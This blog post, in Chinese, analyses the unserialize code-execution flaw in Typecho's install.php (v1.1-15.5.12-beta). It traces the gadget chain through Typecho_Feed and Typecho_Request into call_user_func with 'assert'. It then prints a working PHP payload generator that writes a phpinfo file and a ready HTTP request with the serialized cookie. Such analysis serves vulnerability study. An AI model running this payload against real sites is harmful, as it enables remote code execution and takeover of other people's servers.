Typecho 反序列化 任意代码执行 漏洞分析 | Dayu's Blog

Typecho 反序列化 任意代码执行 漏洞分析

漏洞起因

  • 程序安装后不会自动删除install.php,install.php中存在反序列化漏洞引发(网传是开发者故意留的后门)
  • Typecho官方已于2017-10-24 更新v1.1-17.10.24-beta版 已修复此漏洞。
  • 测试版本:v1.1-15.5.12-beta
  • 源码github地址:
    1
    https://github.com/typecho/typecho/releases

install.php 反序列部分

1
2
3
4
5
6
7
8
228                <?php else : ?>
229 <?php
230 $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
231 Typecho_Cookie::delete('__typecho_config');
232 $db = new Typecho_Db($config['adapter'], $config['prefix']);
233 $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
234 Typecho_Db::set($db);
235 ?>
  • install.php 的230行,会读取cookie中的__typecho_config ,并将其base64解码反序列后赋给config变量
  • 231行会删除cookie中的__typecho_config,这一步无关紧要。
  • 232行会实例化Typecho_Db,并且传值$config中的adapterprefix
  • 233行会调用addServer方法
    Typecho_Cookie::get的定义如下:

    1
    2
    3
    4
    5
    6
    public static function get($key, $default = NULL)
    {
    $key = self::$_prefix . $key;
    $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
    return is_array($value) ? $default : $value;
    }

    修改cookie和post内容都可以赋值。

1
2
3
4
由于
213<?php if (isset($_GET['finish'])) : ?>
221<?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
首先fisish,__typecho_config要有赋值,才能进行反序列化。

继续跟进

我们先到Typecho_Db的构造函数看看他继续做了什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;

/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName; //第一个参数在这里进行了拼接,如果传入的是实例化对象,会调用该对象__toString()魔术方法。

if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}

$this->_prefix = $prefix;

/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();

//实例化适配器对象
$this->_adapter = new $adapterName();
}

  • 我们找一些含有__toString的类,找到了Typecho_Feed
  • 他在290行,执行了这样一段代码:

    1
    $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
  • 由于我们注入的是对象,$item是能够控制的。我们进而就可以调用__get这个魔术方法,继续寻找含有__get的类,我们找到了class Typecho_Request,他的__get()魔术方法会调用他自己的get()方法。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    public function get($key, $default = NULL)
    {
    switch (true) {
    case isset($this->_params[$key]):
    $value = $this->_params[$key];
    break;
    case isset(self::$_httpParams[$key]):
    $value = self::$_httpParams[$key];
    break;
    default:
    $value = $default;
    break;
    }

    $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
    return $this->_applyFilter($value);
    }

get()方法会给$value赋值,然后调用自己的_applyFilter方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}

$this->_filter = array();
}

return $value;
}

array_mapcall_user_func 中的($filter, $value)都是可控的,可以给$filter赋值assert两处都可进行命令执行。

Payload

payload构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Typecho_Feed{
public function addItem(array $item){
$this->_items[] = $item;
}
}

class Typecho_Request{
private $_params = array();
private $_filter = array();

public function __construct(){
$this->_params['screenName'] = file_put_contents('dayuinfo.php', '<?php phpinfo();?>');
$this->_filter[0] = 'assert';
}
}

$payload1 = new Typecho_Feed();
$payload2 = new Typecho_Request();
$payload1->addItem(array('author' => $payload2));
$exp = array('adapter' => $payload1, 'prefix' => '');
echo base64_encode(serialize($exp));

写入文件测试成功

1
2
3
4
5
6
7
8
9
10
GET /install.php?finish=1 HTTP/1.1
Host: 127.0.0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo2OiJBVE9NIDEiO3M6NjoiX2l0ZW1zIjthOjE6e2k6MDthOjE6e3M6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtpOjE4O31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX19fXM6NjoicHJlZml4IjtzOjA6IiI7fQ==
Referer:http://127.0.0.2/install.php
Connection: close
Upgrade-Insecure-Requests: 1